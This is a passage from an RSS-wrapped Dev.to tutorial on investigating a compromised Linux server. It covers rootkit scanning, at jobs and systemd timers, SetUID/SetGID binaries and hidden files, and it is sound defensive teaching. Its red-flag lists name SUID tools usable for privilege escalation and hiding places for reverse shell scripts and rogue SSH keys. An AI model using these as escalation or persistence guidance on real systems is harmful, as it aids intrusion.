&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;🔍 Watch out for:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Log files with suspiciously recent timestamps&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Sudden drops in log size&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Missing or empty logs (auth.log, secure, messages, bash_history)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Logs ending in the middle of a session (incomplete entries)&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  🧬 Step 17: Investigate Kernel-Level Rootkits
&lt;/h2&gt;

&lt;p&gt;Rootkits are stealthy tools attackers use to hide their presence, intercept system calls, and bypass detection mechanisms. Kernel-level rootkits are especially dangerous because they can modify how the system behaves at a low level.&lt;/p&gt;

&lt;h3&gt;
  
  
  🔸 Check for known rootkits with chkrootkit:
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;sudo apt install chkrootkit   # Debian/Ubuntu
sudo chkrootkit
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Or on RHEL/CentOS:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;sudo yum install chkrootkit
sudo chkrootkit
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  🔸 Use rkhunter (Rootkit Hunter):
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;sudo apt install rkhunter
sudo rkhunter --update
sudo rkhunter --check
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;🔍 These tools check for:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Known rootkit signatures&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Unexpected binaries in system paths&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Hidden processes or network ports&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Modified kernel modules&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  🔸 Manually inspect loaded kernel modules:
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;lsmod
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Compare against a baseline if you have one. Look for unfamiliar or oddly named modules.&lt;/p&gt;

&lt;h3&gt;
  
  
  🔸 Check for hidden ports or kernel hooks (advanced):
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;netstat -ntulp   # Already covered — compare again here
dmesg | grep -i hook
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;⚠️ Red Flags:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Detection of known rootkits (RH-Sharpe, Adore, Knark, etc.)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Kernel modules you don't recognize&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Logs showing unexpected loading/unloading of modules&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;If rootkits are detected, it’s safer to reinstall the OS and restore from a known clean backup.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  ⏰ Step 18: Monitor Suspicious One-Time or Scheduled Tasks via at and systemd timers
&lt;/h2&gt;

&lt;p&gt;While cron jobs are a common place to check for persistence, attackers may also leverage lesser-known scheduling mechanisms like at jobs and systemd timers to execute malicious scripts at specific times — often escaping notice.&lt;/p&gt;

&lt;h3&gt;
  
  
  🔸 Check for pending at jobs:
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;atq
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This lists one-time scheduled jobs for the current user. If you see anything suspicious:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;atrm &amp;lt;job-number&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This removes the scheduled job before it runs.&lt;/p&gt;

&lt;h3&gt;
  
  
  🔸 List all active and inactive systemd timers:
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;systemctl list-timers --all
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;&lt;p&gt;This shows systemd timers and their associated services.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Pay attention to:&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Timers with odd names or generic ones like backup.timer, sync.timer&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Timers pointing to unknown or untracked scripts (e.g., in /tmp/, /var/tmp/, /dev/shm/)&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  🔸 Investigate a suspicious timer:
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;systemctl cat &amp;lt;timer-name&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then inspect its related service:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;systemctl cat &amp;lt;service-name&amp;gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;🕵️‍♂️ Red Flags:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Timers triggering scripts in non-standard directories&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Recently added timers with unclear purposes&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Timers set to execute shortly after boot or at unusual times&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;at jobs queued without documentation or known reason&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  🧱 Step 19: Scan for Unauthorized SetUID and SetGID Binaries
&lt;/h2&gt;

&lt;p&gt;Attackers often exploit SetUID (SUID) and SetGID (SGID) binaries to escalate privileges or maintain persistent access. These special permissions allow a program to run with the privileges of the file owner or group — even if the user executing it doesn’t have those rights.&lt;/p&gt;

&lt;h3&gt;
  
  
  🔸 Find all SetUID binaries (run as root even by normal users):
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;find / -perm -4000 -type f 2&amp;gt;/dev/null
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This command searches the entire system for files with the SetUID bit (4000) set.&lt;/p&gt;

&lt;h3&gt;
  
  
  🔸 Find all SetGID binaries (run with group privileges):
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;find / -perm -2000 -type f 2&amp;gt;/dev/null
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Look carefully for:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Binaries not normally present on your system&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Scripts or binaries in unusual directories like /tmp, /dev/shm, /var/tmp, or user home directories&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Files with recent modification timestamps&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;🔍 Red Flags:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Custom binaries with SetUID in non-system paths&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Known binaries that have been tampered with&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Tools like nmap, perl, python, find, or cp with unexpected SetUID bits (which can be used for privilege escalation)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Binaries that shouldn't be SUID at all (check against your distro’s baseline)&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;🛡 Tip:&lt;br&gt;
To compare your system against a known-safe baseline, you can install a package integrity tool like debsums (Debian/Ubuntu) or use rpm -V (RHEL-based distros) to verify file changes.&lt;/p&gt;
&lt;h2&gt;
  
  
  🕳️ Step 20: Investigate Hidden Files and Directories
&lt;/h2&gt;

&lt;p&gt;Attackers commonly use hidden files and directories (those starting with a dot .) to store malicious payloads, backdoors, or staging tools in a way that avoids detection during casual inspection.&lt;/p&gt;
&lt;h3&gt;
  
  
  🔸 Search for hidden files and directories in home paths:
&lt;/h3&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;find /home -name ".*" -type f -ls 2&amp;gt;/dev/null
find /home -name ".*" -type d -ls 2&amp;gt;/dev/null
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h3&gt;
  
  
  🔸 Search system-wide for hidden files (excluding standard paths):
&lt;/h3&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;find / -type f -name ".*" ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" 2&amp;gt;/dev/null
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;🔍 What to look for:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Unusual filenames like .xyz, .config.old, .update, .bash_history.bak&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Hidden files inside /tmp, /dev/shm, /var/tmp, or user home directories&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Files with obfuscated or binary content&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Files with recent modification times, especially if they weren't there before the compromise&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;
  
  
  🔸 List all hidden files and folders in /tmp, /var/tmp, and /dev/shm:
&lt;/h3&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;ls -la /tmp | grep "^\."
ls -la /dev/shm | grep "^\."
ls -la /var/tmp | grep "^\."
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;🛡 Tip:&lt;br&gt;
Hidden files in locations like /root, /home/user/.cache, or .ssh/ may contain malware, reverse shell scripts, or malicious SSH keys.&lt;/p&gt;

&lt;p&gt;If you're unsure about a file, run file and strings on it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;file /tmp/.suspicious
strings /tmp/.suspicious | less
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  ✅ Conclusion
&lt;/h2&gt;

&lt;p&gt;Investigating a compromised Linux server requires a careful, methodical approach — and speed matters. The 20 steps we covered here give you a solid foundation to detect suspicious activity, identify persistence mechanisms, and regain control of your system.&lt;/p&gt;

&lt;p&gt;Stay vigilant, automate wherever possible, and always log your findings.&lt;/p&gt;

&lt;p&gt;📌 In the next article, we’ll explore deeper topics like rootkits, log correlation, digital forensics tools, and how to properly rebuild or harden a server post-breach.&lt;/p&gt;

&lt;p&gt;Feel free to share your thoughts or tools you use in your own investigations!&lt;/p&gt;




&lt;h2&gt;
  
  
  🔗 Let's Connect
&lt;/h2&gt;

&lt;p&gt;If you found this article useful or have questions, feel free to reach out or follow me:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;🌐 Personal Website: &lt;a href="https://farzan.us" rel="noopener noreferrer"&gt;farzan.us&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;🧠 More posts on Dev.to: &lt;a href="https://dev.to/farzandev13"&gt;@farzandev13&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Stay tuned — more security and Linux content coming soon!&lt;/p&gt;

</description>
      <category>investigatealinuxserver</category>
      <category>linux</category>
      <category>cybersecurity</category>
      <category>bash</category>
    </item>
  </channel>
</rss>
